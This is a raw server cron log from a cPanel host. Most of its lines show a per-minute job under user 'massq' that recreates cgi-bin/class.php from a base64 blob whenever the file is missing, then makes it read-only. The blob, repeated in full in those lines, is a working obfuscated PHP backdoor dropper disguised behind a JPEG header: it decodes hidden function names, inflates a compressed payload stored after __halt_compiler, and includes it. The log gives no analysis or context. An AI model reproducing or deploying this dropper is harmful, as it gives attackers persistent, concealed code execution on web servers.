Nov 13 14:05:01 server CROND[22036]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 14:05:01 server CROND[22037]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 14:06:01 server CROND[22507]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 14:07:01 server CROND[23115]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 14:08:01 server CROND[23822]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 14:09:01 server CROND[24193]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 13 14:09:01 server CROND[24194]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 14:10:01 server CROND[25084]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 14:10:01 server CROND[25085]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 14:10:01 server CROND[25087]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 13 14:10:01 server CROND[25086]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 14:11:01 server CROND[26163]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 14:12:01 server CROND[27117]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 14:12:01 server CROND[27116]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 13 14:13:01 server CROND[27981]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 14:14:01 server CROND[28601]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 14:15:01 server CROND[28879]: (root) CMD (/usr/local/cpanel/bin/dbindex &gt;/dev/null 2&gt;&amp;1)
Nov 13 14:15:01 server CROND[28880]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 14:15:01 server CROND[28883]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 14:15:01 server CROND[28882]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 14:16:01 server CROND[29755]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 14:17:01 server CROND[30706]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
